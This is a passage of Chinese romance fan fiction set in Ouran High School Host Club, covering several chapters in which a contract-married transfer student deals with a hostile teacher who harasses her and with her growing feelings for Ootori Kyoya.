倚着洗手池躬身站立的凤镜夜闻言俯身一手撑住我身侧的墙壁把脸凑过来。
“这样?”
我捏着修眉刀的手忍不住收紧,这个姿势总感觉完全被拢进他的范围内了,太近了吧。
但凤镜夜还是一副平静的模样,一只手还拿着冰袋冰敷额头,我心里的愧疚打败了微妙占领高地。
“嗯嗯,就这样别动。”
离得近了我才发现他的脸是真的很帅且没什么瑕疵,我要是一不小心手抖的话……
我打了个冷战,几乎是全神贯注的帮他刮完,忙不叠的后退一步离开他的环抱。
“好了,你看看怎么样?”
我不等他回答已经往门外溜。
“等等。”
“嘭!”
我捂着额头飙着眼泪蹲了下去,脑袋嗡嗡作响,羞耻又尴尬。
浴室门这么窄一定也要换掉! !
凤镜夜只是觉得她认真的样子很有意思,没想到逗弄过头了,伸出的手晚了一步:“……我是想说那边是门框。”
一只手带着温和又不容抗拒的力道把我从地上带起来,还带着另一人温度的冰袋按在我发烫的脑门上。
手帕上的温度迅速消散,变成源源不断的凉意,舒缓疼痛。
我捂着冰袋蔫头巴脑的走在凤镜夜身后,一直到抵达樱兰,我还有些抬不起头。
也不想让凤镜夜看出我的窘迫。
他不知看没看出来一路上都没怎么说话,直到车辆穿过学校华丽的大门径直朝更深处驶去。
“到了,冰袋给我。”
手下的冰袋没了,我下意识用空余的手掌捂着额头。
他握着我的手腕轻轻施加力道:“不严重不仔细看的话是看不出来的,好了,去教室吧。”
我放下手,确认般看向他:“真的吗?”
“真的。”
凤镜夜视线落在她还缀着水珠的睫毛,最终还是循着心意出手,用手帕轻轻拂过她的眼帘。
他起身下车,朝里面伸出手:“走吧。”
我吸了吸鼻子,搭上他的手掌,小声警告:“今天的事不准说出去,不然……”
凤镜夜耐心的等待。
“不然我会很生气!”
然后把他撞了两次的事宣扬出去!
我等了一会儿,没等来他的声音,抬眼看过去。
却见站在车门外的黑发少年不知看到了什么,视线追随着移动了两秒。
我跟着他的眼神看去,是教学楼的走廊,来来往往的都是学生,好像没什么特别的。
原来没在听我说话啊。
我撇了撇嘴,略过他的手提着裙子跳下车,转身朝另一个方向走去。
“我去教务处报道,凤君你先去教室吧。”
第77章
樱兰高中作为一所超一流贵族学校,在校学生随便拎一个出来都不容小觑。
但能将车开到教学楼下的人却寥寥无几。
我背对着凤镜夜走了几步,敏感的察觉到投注在身上的视线,不禁加快了脚步,几乎是快走着朝教务楼前去。
一直到脱离众人的视线,我僵直的脊背才放松下来,轻抚胸口喘了口气。
“说起来刚才的是第四教学楼吧, 二年级和男公关部是不是都在那里。”
我穿过装潢华丽的走廊,停在用花体字标识了教务处的办公室前,抬手准备敲门。
靠门的地方就传来走动的脚步声,以及中年男人轻佻的声音。
“你怎么还不去开会,樱兰祭快开始了你们也挺忙的吧。”
另一道女声比较低沉,似乎是终于找到了发泄口,不满地将什么东西砰的一声扔在桌上。
“还不是在忙关系户的事情,黑川家的女儿你知道吗?不知道用什么办法让凤家替她开了后门,听说还是凤家三少爷亲自让人来办理的手续。”
她不知想到什么,眼神深处闪过嫌弃:“之前那孩子还在男公关部闹出过丑事,也不知道是怎么巴结上人的。”
男声尾音提起明显开始感兴趣:“哦?说不定是和凤家少爷私下关系比较好呢。”
话是这么说,他的语气可有些暧昧不清。
女声沉默了一会儿:“我只是有些担心这样不安分的学生会带来不好的影响, 最近太忙了, 要是没别的事你该回去了文森特。”
文森特有些意犹未尽:“别呀,你再说说还知道什么?听说那些贵族少爷小姐之间玩的……”
我蹙眉因为学校优美环境而提升的心情降了下来, 直接敲门打断了他们的对话。
里面的谈话声戛然而止。
“咔哒。”
一个身穿得体棕色西装戴着眼镜的儒雅黑发男人开门看了过来,眼神带着探究:“您好,请问有什么事需要帮忙?”
我把随身携带的资料拿起来示意了一下,脸上没什么表情:“你好,我是来办理入学手续的黑川。”
文森特表情顿了一下,紧接着自然而然让开空间,从容道:“原来您就是黑川小姐。”
他看起来彬彬有礼,倒是里面传来一声不明显的碰撞。
我点点头目不斜视的走进去,把资料交给办公桌后的年轻女人:“您好,这是我的资料。”
佐藤香严肃的面容有些不自然,视线先是落在她的脸上停顿了好一会儿,才恍然接过东西。
“好…好的。”
我站了一会儿还没看见她有别的动作,忍不住出声:“老师?”
“我听凤君说手续已经办好了,今天只是来签个字的。”
佐藤香眉头皱的更紧,随手把我带来的资料放在桌上,桌面上还有散落的一叠文件,严厉的看着我。
“黑川同学知不知道在高三阶段转学的人很少,而且你的成绩不错,但也并没有达到特招入学的标准。”
我看着她。
那又怎么了?
我记得凤家是这所学校的副理事长,凤镜夜主动让我转过来上学的,可不是我主·动·要·求的!
退一万步说,作为副理事长的儿子,给我开个后门是很严重的事情吗?
我心情不可抑制的差了起来,入学第一天早上就这么不顺利,樱兰说不定和我的风水不合。
我没有说话,双眼明晃晃的写着一行字:我知道,那咋了。
佐藤香克制的情绪顿时升腾起来,她用年长者的眼神成熟又理智的看着眼前的少女。
“按照流程的话我是不能签字的,除非……”
我手指在空中动了动:“除非什么?”
她推了推眼镜藏好眼神深处的轻蔑:“除非你让凤君来为你担保,绝对不会扰乱学校秩序,成绩能在这学期内提升到班级前列水平。”
名为文森特的男人从我身后走过来,忽然夸张的看着我的手,还伸手打算拿起来细细打量。
我猝不及防被他拎着手腕观察手指。
文森特眼神责备的看着我,好像真的是一个尽职尽责的老师:“如果没猜错这是结婚戒指?”
他看着眼前身形纤瘦的黑发少女,合体的淡黄色长裙勾勒出盈盈一握的纤腰,露在外面的皮肤洁白而光滑,小腿纤细笔直。
虽然脸不是最漂亮的,但巴掌大的脸搭配上小小的五官,眉毛细长,尤其是那双让人忍不住观察的钴蓝色瞳孔,她是一个很容易激起人保护欲的孩子。
一般人只想着漂亮的脸,但他知道这样的孩子也是不可多得的宝贝。
想到她的另一面早就被凤家少爷看过,他心里就生出几分落后的不甘,既然不能对凤镜夜怎么样,多出的情绪自然都宣泄在她身上。
“如果只是为了进入樱兰而和那种大少爷玩结婚游戏可不值得。”
我被手背上传来的蛇一样的阴凉触感恶心的立即抽回手,退后一步和他拉开距离,心里在转身离开让凤镜夜处理还是给他个教训之间左右摇摆。
我擦了擦被摸过的手背,想到来这里的目的是为了和凤镜夜拉近距离。
可不包含在陌生NPC身上受气的选项。
文森特看着她的动作也不生气:“他能给你的无非是上学的名额和一点小钱,你想要的话我也可以给你。”
我理清了思绪闻言诧异地看了他一眼。
他把自己和凤镜夜比?
佐藤香听不下去了,不耐的让文森特闭嘴,然后看向我。
“你要分得清这些大少爷是客套还是真心,别以为他承诺了会娶你,再给你点好处就能真的嫁入豪门。”
她把资料退回来:“我要是你的话就当没发生,拿着钱离开,樱兰不是你该来的地方。”
我揉了揉眼睛,打开系统面板仔细查找了一番,和昨天一样没有改变。
我无言的关掉面板,原来没有变化啊,还以为系统加了小白花buff呢。
听说隔壁部门的员工就喜欢用这个插件,能短时间内让对自己怀有敌意的NPC降智,从而达到打脸/英雄救美的目的。
我拿回资料先是看向佐藤香,表情诚恳。
佐藤香的表情缓和了点。
“我不知道您对凤君了解多少,也许在您的认知或者经历里有过不太好的事情,”我抬起手指晃了晃:“但我是凤君的妻子,法律意义上的。”
佐藤香嘲讽的表情在听到最后一句时僵在脸上:“怎么可能,那怜子怎么办?!”
她脸色黯淡下来,失落的坐在办公桌后一动不动。
我吞下还没说完的话,眼神复杂的多看了她一眼。
就这?
好低级的打脸剧情。
我拿着东西转身,经过一脸惊诧的文森特时,礼貌的掀了掀唇角:“感谢您热心的建议。”
文森特眼神动了动,表情有些似哭非哭:“你怎么可能是凤镜夜的妻子,不…我的意思是抱歉……”
没有营养的败犬发言,没有仔细听的必要。
我脚步不停的略过他:“其实听到您的话我确实很惊讶,没想到您会有这样的见解,真了不起啊老师。”
少女赞叹的语气让文森特稍稍振作起来。
也许事情不像他想象的那么糟糕,说不定凤镜夜对她并不好,她和自己的想法不谋而合呢。
办公室外匆匆赶来的脚步倏然停住。
门外几人互相对视一眼,同时看向背对着他们的镜夜,只是得到黑川可能被老师为难了的消息,没想到凑热闹赶过来会遇到这样的场面。
常陆院光的声音压低:“那个人是勾搭学生的惯犯,听说喜欢朝娇小可爱的类型出手,理事长那边已经准备处理了,但还没有实质性证据。”
他压低了声音但赶来的几人都听的一清二楚。
凤镜夜背对着他们看不出什么情况。
双子对视一眼有些拿不准怎么办,要不直接闯进去打断他们越轨的对话,为镜夜及时止损。
还是提前离开,给他留点面子?
常陆院馨看了看几人,摇摇头,有点疑惑:“事情也许不是我们想的那样,春绯他们看起来挺冷静的。”
“切,我不信。”
我注意到他重燃希望的表情,忍了忍还是没忍住停下脚步,无奈的叹了口气。
“你还是没明白吗?”
文森特屏住呼吸茫然:“明白什么?”
门外偷偷探头观察的几人也不自觉屏住呼吸。
什么什么?
我抱着手臂上下将他扫视了两遍:“我是在惊叹你惊人的想象力和自信。”
想象力……和自信?
“我和凤君结婚的事情你以为是是在过家家是我在撒谎,难道你以为我会愚蠢到光明正大的顶着这个一戳就穿的谎言在樱兰上学吗?”
文森特喉头一哽,看着她不可置信的眼神,最近屡屡得手的得意终于消散,眼神逐渐阴沉下来。
他站了起来,竟然主动追问:“那么……自信呢?”
我退后一步让自己不用仰视这家伙:“这更简单了,如果按照您说的如果都是做情人的话,您是从哪几点出发作为根据来得出你会比凤君强,我会舍弃他而跟你在一起呢?”
男人私底下膨胀的心思被光明正大戳穿,脸色有些发青。
我伸出手指,认真的数:“嗯……年龄?家室?样貌?财产?能力?”
他咬牙打断我:“别说了。”
我收回手指,又无声的叹了口气,说了这么多嘴巴都干了,事还是没办成,亏大了。
“总之,就是这样,希望文森特老师畅享之前多照照镜子。看来两位今天没有时间办理手续,我明天再来。”
一片寂静的办公室里只有少女低跟鞋踩在地面的规律声响。
“不行,你不能走!”
一阵疾风从侧后方袭来。
“小心!!”
第78章
面容儒雅的男人倏然起身,盯着少女毫不犹豫离开的身影,眼角抽搐两下,随着惶恐而生的是泼天的愤怒。
他拼尽全力进入樱兰任职,好不容易才走到现在的位置, 马上要过上理想中的生活。
这一切不能让这个女人毁了!
不能就这样让她离开!
被激烈的情绪冲昏了头脑,他随手抄起手边的东西就对着她砸了过去,人也跟着冲过去想要抓住她的肩膀。
“你不能就这样走!”
少女单薄的身形和成年男性比起来显得格外脆弱,从门口见势不妙冲进来的几人还是慢了一步。
那只花瓶的砰的一声发出闷响。
文森特手指触及到少女的肩膀, 还没来得及露出笑意,瞳孔就因为认出来人而放大。
紧接着视线就是一阵天旋地转,脊背和脑袋重重摔在地上,惊恐着失去了意识。
我踩着落在地上四溅着碎裂开来的花瓶碎片了,手指和小腿还按在文森特身上,视线触及在水洼中逐渐蔓延开来的浅红色,有些吃惊。
这是我做的?
“条件反射就这样了, 他……不会死了吧?”
我倏然收回手, 想了想又小心翼翼的蹲在文森特身边伸手往鼻翼处试探。
试探的手被微凉的掌心包裹阻止,紧接着那只手转而握住我的手腕,不容抗拒的力量从那边传来。
我踉跄了一下站了起来,扶着办公桌保持稳定,看向来人,眼睛睁大。
“铦之冢前辈?”
沉默寡言但非常可靠的铦之冢前辈朝我点点头,然后将我推到他身后,我才看到随手把地上的文森特翻转过来查看的honey前辈,以及男公关部的其他几人。
我看了看地上一脸血的文森特,又看了看众人,心里越是紧张脸上的表情就越少。
怎么办暴力伤人还恰好被他们看见了,我要怎么解释是这两人先挑衅的我,而我只能算正当防卫呢?
不……我这是正当防卫吗?
现在的我没有昨天那么乐观了,凤镜夜如果对我只是一般的交易关系,告诉他的话他会帮我吗?
我面无表情的站在原地,双手交叠在一起重重的按着掌心,思考着对策。
却不知道我的脸色有多难看。
原本崭新的校服沾染上花瓶飞溅的水花,以及剧烈动作后的凌乱褶皱,和早上分开时的样子相比格外狼狈。
凤镜夜慢了honey前辈一步,目光冷冷的扫过地上不省人事的文森特以及办公桌后的佐藤香:“honey前辈。”
“嗯?”
蹲在地上伸出一根手指戳地上一动不动“尸体”的植之冢光邦无辜抬头:“怎么了,啊我知道了,这个人没死哦。”
凤镜夜点点头:“我知道了。”
跟在后面的藤冈春绯擦了擦额头的汗:“哈……只要没死就行了么?”
地上双眼紧闭的“尸体”额头逐渐渗出冷汗。
没事就行。
我暗暗松了口气,一件带着温度的外套落在我肩膀上,然后肩膀一重身体不由自主转了个方向落入一个怀抱。
瞬间被那人身上的气息包裹,我不自在的动了动脑袋,明明没这么在意我,却还是会做出这样的举动。
凤镜夜某种意义上来说还真是厉害的人啊。
我撇了撇嘴想要退出来,后脑勺忽然多出一只手,把我按了回去,随后不轻不重的拍了拍。
凤镜夜的声音伴随着脸侧的胸腔震动一同传来:“没事,很快就解决了。”
似乎还担心我注意这边,他拢了拢我身上的外套带着我往外走。
“镜夜你带着小一先走,这里就交给我们。”
我在黑暗中眨了眨眼,是须王环的声音。
凤镜夜微微侧头上挑的黑眸酝酿着冷意:“先把人带走,留给我来处理。”
“OK~~”
出了办公室之后我就被放开,我落后一步拢着他的外套跟在他身后,视线跟着他平稳的脚步移动。
这么看的话凤君的腿好长啊。
视野中从容的迈着差不多大小脚步的腿停住,我回过神,也跟着站定。
一道视线落在我头上。
我垂眸等着他的声音。
结果沉默了几秒他又接着开始走,只是这次步子快了点,我茫然的跟上去。
他停在一间音乐教室前,微微侧身让我进去。
我抬头:“第三音乐教室?啊,是男公关部活动的地方么?”
凤镜夜脸上没什么笑意,轻轻推了推我的肩膀。
虽然他平时也的确没什么太夸张的表情,我移开视线从善如流的走了进去,但总觉得现在还是不要和他对着干为好。
我被推进试衣间,一件干净的衬衫和长裤递了进来。
凤镜夜的声音隔着一道帘子似乎也温和了点:“春绯和光他们不在,你先将就穿我的校服,这是放在这里备用的很干净。”
我拎着衬衫领口展开,点点头,又想起他看不见:“没关系,还有,谢谢你凤君。”
外面的人没有回答。
我脱下才穿了不到半天的崭新校服裙,换上凤镜夜的备用校服,裤子还好有皮带,我卷了卷裤脚。
但宽大的衬衫穿在身上……
我把手从袖子里伸出来,看着镜子里的自己,总觉得有点怪怪的。
话说从刚才开始一直闻到和凤镜夜身上相似的味道呢?
我拉起领口抽到鼻尖嗅了嗅。
原来是洗涤剂么。
身后的帘子被人打开。
“小一你还好吗?”
我拽着领口从镜子里和探进半个身体的凤镜夜对视,维持着站立的姿势,温度却一点点从领口深处蔓延上来。
外面传来须王环的声音。
“镜夜?镜夜不在吗?”
我慌乱地放开衣领,想到刚才的行径恰好被凤镜夜撞见就有点想找个地方躲起来,又担心他会误会。
只好硬着头皮解释。
“抱……抱歉,我不是故意的,不,我只是有点好奇上面和凤君身上一样的味道,也不是,我是说我很喜欢……算了。”
我捂着脸,总觉得越描越黑了。
这下我不会在凤镜夜眼里变成喜欢闻别人味道的变态了吧? !
代入凤镜夜。
原本只是为了方便而协议结婚的妻子,其实是个背后觊觎他的变态。
我打了个冷颤,脑海里出现一行大字——攻略从现在开始彻底完蛋了。
“小一?”
要不还是直接放弃好了。
“小一?”
不,果然还是直接选择强制退出比较好吧,一刀下去就直接回去,就不用被当作变态看了。
肩膀被人抓住,凤镜夜的脸出现在极近的地方:“你怎么了?”
我眼神动了动,落在他脸上,咦?
手指下意识摸上他的脸。
“……是在担心我吗?”
手指轻触他漂亮上扬的眼角,想要再看得仔细一点,结果就被抓了下来。
我骤然清醒过来,透过镜子看到我俩贴近的姿势,凤镜夜在我身前单膝跪地,我身上还穿着怎么看都不对劲的宽大衣服,脸颊爆红。
我飞快后退直到后背抵在隔间的墙壁上:“抱歉!”
我眼神游离,就是不敢落在他脸上:“我不是故意的。”
凤镜夜动了动空荡荡的掌心,被她总是避讳害怕的动作激起了一丝丝异样的情绪,又在看清她现在模样时迅速消弭。
他抬手按了按额头,半晌,忽然轻笑一声:“还真是……”
我听到他不辨情绪的声音,脑袋不自觉垂得更低。
音乐教室里没找到人的须王环脚步声逐渐远去,狭窄的试衣间里的空气却越来越凝脂,我转头看向他离去的方向,隔着一层帘子望眼欲穿。
谁来救我出去——
只穿了袜子踩在地上的脚尖倏然触碰到皮鞋鞋头。
我视线内出现了一双冷白且修长的手,慢条斯理的拉住衬衫的衣领拢了拢,然后一颗一颗将敞开的领口全部扣上。
随着那双手逐渐向上靠近我不自觉屏住呼吸。
下巴似乎都能感受到那双手上带着好闻香气的温度。
凤镜夜到底想干什么?
我紧张的咽了咽口水。
吞咽的声音在狭窄的空间里仿佛放大了无数倍。
我眼前一黑。
又丢一脸,我彻底心如死灰,双目无神的任由他做着不知意味的动作。
扣完最后一颗纽扣,那双手没什么停顿的垂落下去。
我心里竟然诡异的生出一丝失落。
但抵着我脚尖的鞋面却更进一步向前插进我的双/腿之间,他看起来修长纤瘦的身形此时竟然如同一堵密不透风的墙。
我抬手抵在胸前,动了动嘴唇,小声说:“不要再靠近了,好挤。”
不断靠近的少年居然真的停下动作。
凤镜夜看着她的发顶,唇角带着不自知的笑意:“如果是小一要求的话。”
他不仅停下动作,还稍稍向后退了一小步,又回到和我脚尖相抵的距离。
明明仍然是过近的距离我却稍微放松了点。
凤镜夜看着她缓缓补充:“小一没有想和我说的吗?”
我下意识摇头。
却正中他的下怀。
“那我先问吧。”
“你很怕我吗?”
我又怔了怔,摇头,凤镜夜性格比较冷,但在我们的交易上也没有特别强势的地方。
“那小一要是有什么话想说,或者不满的地方都可以直接说出来,就比如现在。”
他冷静的慢慢引导。
现在?
我视线落在被抵住的脚尖上,慢慢开口:“无论说什么凤君都不会生气吗?”
“唔。”
我看到他垂在身侧的手动了动。
“只要不是触及底线的要求。”
我犹豫地说:“你能退一点吗,我想穿鞋。”
穿着皮鞋的脚立即向后退了一步,却没有立即让开,他握着我的手臂。
“鉴于我们现在正在谈心,谈话结束后满足这个要求,现在的话。”
“就先踩上来吧。”
这已经不是今天第一次我感觉自己脑子不够用了。
踩上来?
圈着我的手臂的手指微微收紧,凤镜夜的声音紧跟着响起:“左脚抬起来。”
我犹豫了一下照做。
脚底出现了软中带硬的皮鞋鞋面。
“右脚。”
我张了张口不知道说什么,只好照做。
我踩在他的脚上,距离进一步拉近,我似乎完全被包裹进名为凤镜夜的气息当中。
不管什么动作都会碰到他,只好直愣愣地站在原地。
暗自后悔提出这个问题。
他的声音仍然稳定,似乎这么靠近的距离对他没有造成任何影响。
“现在该我了。”
我紧张的眨眨眼。
下巴被两根手指捏住抬了起来,被迫和他对上了视线。
这么近的距离我能看清他纤长的睫毛投下的阴影中,格外冷静的黑眸。
我发热的脑袋也跟着冷静下来。
“今天的事,为什么不来找我?”
他似乎真的很为这见识疑惑。
我忽然想到春绯似乎在这栋楼上课,早上他分神的方向就是这边吧?
作为交易对象的我是没资格说出类似于争风吃醋的话的。
但凤镜夜的态度给了我一些别样的暗示。
“凤君想了解我的想法?”
他眼神微怔。
思绪有一瞬间的抽离,是了,按照他们的关系,黑川一有自主行动的自由,他也不必在她身上耗费太多精力,毕竟他很忙才对。
我垂眸打断对视,轻声说:“我的事情和想法很无趣,你有耐心听吗?”
凤镜夜虚虚的环着怀中的人,她是他的妻子,拒绝的话怎么也说不出口了。
他恍然察觉,自己竟然不想让她难过。
不同于的另一种克制的青春的埋藏于心底的未曾继续萌芽的感情。
她是他触手可及的可以互相理解的光明正大的……也是可爱的长久的选择。
他的声音因为沉默而沙哑:“你说。”
“我听。”
第79章
也许是夏天逐渐靠近, 狭窄的试衣间里热意升腾。
我背后靠着墙壁,手指犹豫着还是只能抓住凤镜夜胸前的衬衫来维持微妙的平衡,双脚踩在锃亮的鞋面上僵直着不敢动作。
细细密密的呼吸在方寸空间当中交融。
我身上的热度一直升腾,不知会不会被他发现。
我小幅度晃了晃脑袋阻止思维继续发散,没想到他真的会耐心的等着我说话,反而一时间有些不知怎么说出口。
凤镜夜静静地望着她的脸,教室外悠扬的钢琴声隔着门传进耳膜,有人活动的声音开始在音乐教室外响起,他心里却有种安然的静谧。
他直面自己的内心,不清楚盘旋在胸口的到底是什么感情,但清楚的是他想听到她的想法。
难道结婚真的有这么大的威力吗?
……他们明明只是名义上的夫妻。
他狭长上挑的黑眸垂落,是这样吗?
我做好心理准备轻咳一声,心里暗恨自己嘴瓢问出来, 结果也想不到其他借口,只好避重就轻。
“我只是希望凤君能够看着我。”
轻飘飘的声音随着热气升腾,想要追寻却消失无踪。
凤镜夜心口跳了跳,缓缓靠近那张不自觉颤抖的脸:“你说什么?”
我咬唇只觉得他肯定是故意的!
这么羞耻的话居然要让她说两遍。
我带着些怒意瞪了他一眼,陡然察觉两人的距离有些过于靠近了,呼吸交错,稍微偏头就能触碰到对方的唇瓣。
我顿了顿, 好不容易升腾起来的气势又迅速泯灭, 低声重复了一遍。
凤镜夜看着我,眼眸里没有我想要的情绪,反而异常冷静,声线清冷的反问:“为什么?”
为什么要看着我吗?
我一怔刚刚升腾起来的热意似乎在一瞬间褪去,浑身涌上冰凉的羞耻,镜子里仍然烧红的脸颊仿佛是对我的嘲笑。
捏着他衣领的手缓缓放松。
他看着我的时候到底是在想什么呢?
是平静漠视还是看我想要怎么不自量力的在他的引导下说出在他看来荒谬的请求。
我用力推了他一把,趁着他往后退的动作,双脚重新踩在地面,胡乱抱起换下来的衣服准备离开。
“抱歉,是我脑子不清醒说错话了,请不要放在心上。”
我低着头掀开帘子:“今天入学手续没有办成,我明天再来好了,再见。”
我虽然恨不得立即消失在他眼前,但心里仍然悬着一根理智的丝线,在真的决定作为失败者回去之前,我不可能再次和他闹得太难看。
……不如说已经够难看了。
我这一刻想到的居然是那间简陋的公寓,明明第一次见到的时候还有些嫌弃,现在反而是迫不及待的想回到属于我的家。
大脑的保护机制将和凤镜夜相关的东西隔离。
只留下一下想法:回家。
我跑出试衣间,脚步顿了一下,对上外面男公关部其他人的视线脑袋嗡了一下,身体有一瞬间发麻隔绝了外界的信息又很快回到尴尬的现实。
他们都听到了?
我低着头视线有些模糊,没有勇气再看他们,只觉得这间教室成了我最讨厌的地方。
草草躬身行礼后狼狈地冲了出去。
不要靠近,不要和我说话,不要管我。
我带着这三个念头,一口气穿过庞大的校园,看见门口保安的时候我犹豫了了一下,调转脚步顺着临近马路的墙头翻了出去。
落地后,不顾路人诧异的眼神,我抱着膝盖顺着墙角蹲了下来,温热的液体浸湿了膝盖。
过了会儿周围小声讨论的声音也消失了。
我吸了吸鼻子准备离开。
我这么难过是真的因为喜欢上凤镜夜了吗?
喜欢大概有一点,但更多的是不甘心,他总是靠近让我得到希望,又倏然远离让我看清现实。
这个人绝对是抖S!
一路上我的情绪都消化的差不多了,我气哼哼的重重踩着楼梯上楼。
除非他在我面前忏悔求我原谅,否则我绝对不会再靠近他了,他自己跟自己玩儿去吧!
我从裙子口袋里掏出钥匙,却被家门前的身影吓了一跳,钥匙砰的一声落在地上。
我忍不住抱紧怀里的东西,面色冷淡:“你怎么在这里?”
凤镜夜抽出单手插兜的手面色平静的走到我面前,然后俯身捡起地上的钥匙,在我警惕的目光中自然而然的开门。
他推开公寓大门,转头问我:“不进来吗?”
好一个反客为主,这里可是我家!
我不再犹豫越过他走了进去,顺便抢过他手里的钥匙,按住门板:“麻烦你帮忙开门了,现在你可以走了。”
我用力关上门。
一只手倏然伸进来用力扣住门板边缘,却敌不过我关门的力气被重重夹了一下。
门外传来一声闷哼。
我迟疑了一下,手的主人立即将门打开一条缝隙钻了进来。
凤镜夜:“我想和你谈谈。”
我看着站在客厅中央存在感太过强烈的凤镜夜,想要无视他做自己的事情,结果不论是洗衣服还是要去喝水都要侧着身体从他身边绕过去。
我端着搓洗好的衣服再一次绕过他的时候,有些忍不住了。
脚步站定,用脸盆边缘怼了怼他的手臂。
“你到底想干什么!这里是我家!”
手里一空。
他竟然把我手里洗过的校服接了过去,走到晾晒区沉思了一下,转头:“没有烘干机吗?”
我额头跳了跳,气势汹汹的走过去想要夺回来。
这人不会是来找茬的吧! ?
我狐疑地看着他的眼睛,伸出去的手被挡了回来,指了指墙壁上的衣架和晾衣杆:“就是用那个,所以说你到底想干嘛。”
我声音卡了一下,凤镜夜竟然真的捞起我的衣服开始动作生疏的挂起来。
我第一反应是还好没有把内裤和衣服混在一起。
不对!
我在原地走了两步。
手里拿着和他形象不符的撑衣杆,凤镜夜看着我:“小一,我们坐下来聊聊吧,我是认真的。”
散发着热气的红茶透明玻璃杯里荡漾,我放下茶壶,朝对面示意:“不是说要谈谈吗?”
我双手环胸看着茶杯:“说完你就走吧。”
他没有接我的话,坐下来后,停顿两秒后开口:“我为更衣室里的事情抱歉。”
我看了他一眼。
视线落在他交叠的手指上。
“实际上我在你之前并没有正式的感情经验。”
我看着那双漂亮的手,面无表情的想,那春绯岂不是他的初恋。
在他对初恋余情未了的时候凑上去,失败也情有可原了,我试图进行一些反思。
可恶,果然还是凤镜夜的错!
凤镜夜有些艰难的继续:“所以当时回答你的问题并没有其他意思。”
什么意思?
我眨了眨眼,继续研究他的手指,他的皮肤很白所以手背上的红痕就特别明显。
“我只是想知道你为什么会喜欢我,毕竟实际上我们认识的时间还不是很长……我也不清楚自己的心情。”
他蹙着眉组织语言:“而且我不是一直看着你吗?”
为了让成为他妻子的黑川不被欺负,他从早上分开后就让人注意着那边的情况。
所以他还是不明白她的意思。
我因为他的话怔了怔,心脏还没来得及加速就明白过来他的意思,无奈中多了些好笑。
所以说人无语的时候真的会笑。
我叹了口气,打断了他的话。
微笑着站起身,探身越过两人之中的茶几,伸手抓住他的领带拉向自己。
也许是几次三番在他身上跌跟头,再退缩的人格都能生出点斗志。
我胸口发热,思绪却冷静得不正常,对着猝不及防之间动作失去了从容的凤镜吻了上去。
轻飘飘的吻在最终落到那双淡色双唇之前,还是生出了犹豫,坚定的落在他的唇角。
我亲了之后就彻底冷静下来,故作镇定的松开手,坐了回去。
我看着他那双仍然盯着我的眼睛,带着细微的笑意眯了眯眼睛。
“是这种注视。”
那双眼睛里终于不再是一片冷静的审视。
凤镜夜维持着身体前倾的姿势望着对面笑得像一只偷腥猫的少女,抿了抿唇,后知后觉的坐回去整理了一下凌乱的衣领。
借着这个机会整理一下思绪,却发现他不太能好好思索出一个怎么对待她的结果。
是顺水推舟,还是抗拒远离。
他的沉默在这次反而没能让我产生更多波动,毕竟刚才连更大胆的事都做了。
我站起来。
对面的凤镜夜倏然抬起那那双漂亮的凤眸看了过来。
我指了指旁边的柜子:“等我一下。”
然后他就真的目光一直追随着我移动,我从柜子里拿出一个小盒子,在他身边蹲下。
他好像因为我的靠近有些不适应。
我没说什么,默默地打开盒子露出其中还算齐全的家庭用药,他才不那么僵硬。
我动作生疏的给他的手上药,忍不住在心里思索自己现在到底在他心里到底是什么形象导致这么紧张。
他的手比我的大了将近一倍,温度不算高,像某种温良的玉石质地。
就算缠上一圈绷带也像是艺术品。
我把东西都收回盒子站起来对他说:“其实我也没什么要说的了,你回去吧。”
第80章
头脑发热的劲头过去, 我也后知后觉有些不自在,只想把人打发走。
把人留在这里干瞪眼任务进度也不会上升。
凤镜夜的视线随着那个盒子移动,现在才发现那居然是一个装着医疗用品的曲奇饼干盒,内外的相差程度几乎和这个公寓的主人如出一辙。
她放他离开。
凤镜夜心里却没能如想象中一样轻松。
少女黑发闲适的披散, 昏黄的灯光在她的身上蒙上一层柔和的滤镜, 那是和外出时不同的放松以及自然而然呈现出的柔软。
第一次见面他以为她是一个愚蠢的、冲动的大小姐。
第二次见面刷新了他的印象,她是一个坚强的为目标不择手段的家伙。
第三次在别墅中他又看到了她和普通女孩一样可爱的一面。
……
一次次的间接或直接的交集让他们早就不能停留在陌生的交易对象的位置上。
她一开始也不是因为喜欢他才与他绑定的,离开了他, 她也能照顾好自己。
凤镜夜手指收紧,绷带束缚伤口的疼痛让他回过神。
他离开后她会彻底对他失望吗?
还是会彻底离开?
我放好东西发现人还端端正正坐在原地有些惊讶:“你还没走?”
然后发现凤镜夜的脸色变了变,我轻咳一声:“我是说很晚了,不是赶你走的意思。”
他推了推眼镜:“我晚点再走。”
我惊奇:“为什么?”
因为走了你会伤心。
他没说出来。
我等了会儿,还是无奈的点点头:“那你先坐会儿, 走的时候记得关门。”
我实在是没心情再去管他,径直去浴室洗漱,出来的时候发现人还在也没说什么。
只是躺在床上的时候似乎听到客厅传来细微的关门声,我闭着眼睛安心的翻了个身,终于沉沉睡去。
第二天清晨。
我眯着眼睛从被子里钻出来,按掉闹钟,及拉着拖鞋迷迷糊糊的钻进浴室洗漱。
洗了把脸后对着镜子看了看还算不错的脸色,终于清醒了点。
想到昨天发生的事情我就有种抱头蹲下逃避的冲动,可事情已经发生了,作为一个成熟的打工人我早就学会硬着头皮面对让我头皮发麻的事情,竟然也只是对着镜子无声崩溃了一会儿。
我做好破罐子破摔的心理建设, 转身撞进了一片温热的胸膛。
我瞪大眼睛吓得往后跳了一步,腰上忽然多出一只手,被拦腰拉了过去和另一具身体紧紧相贴,我挣扎了一下震惊地看向一脸没睡醒的凤镜夜。
警惕地心情打了个岔。
“你……昨天没回去?”
他重重的揽着我的腰,声音比平时低了好几个度:“你现在有心情了吗?”
“什么?”
我忽然想起来昨天晚上的对峙以及放弃着让人回去的话,迟疑了一下,他指的是这个吗?
如果可以的话我想摇头,一大早上就来给我公开处刑,就算死刑犯都有断头饭啊!
他脸色黑沉,眼睛里还有血丝,表情可怕得我不敢产生反对意见。
我小心翼翼的点头。
他神色沉沉地说:“我想了一个晚上。”
“啊?嗯。”
一晚上过去我昨天的情绪已经落了下去,有些应付不来情绪高涨的凤镜夜了,眼神游移心情慌乱。
腰间的手陡然加重唤回我的注意。
凤镜夜眼神暗了暗,两次机会都没能给出答案,她失望退却了吗?
我的手忽然被抓住带着按上他线条干净分明的侧脸,指尖触碰到微凉的镜架。
“听我说。”
我茫然的看着他,手指不自在的动了动,他脸颊顺着我的动作偏了偏,小指就勾住了他落下的眼镜,脑子还没转过弯,那张失去镜片遮挡的俊秀脸庞就压了下来,柔软的唇重重的压了上来。
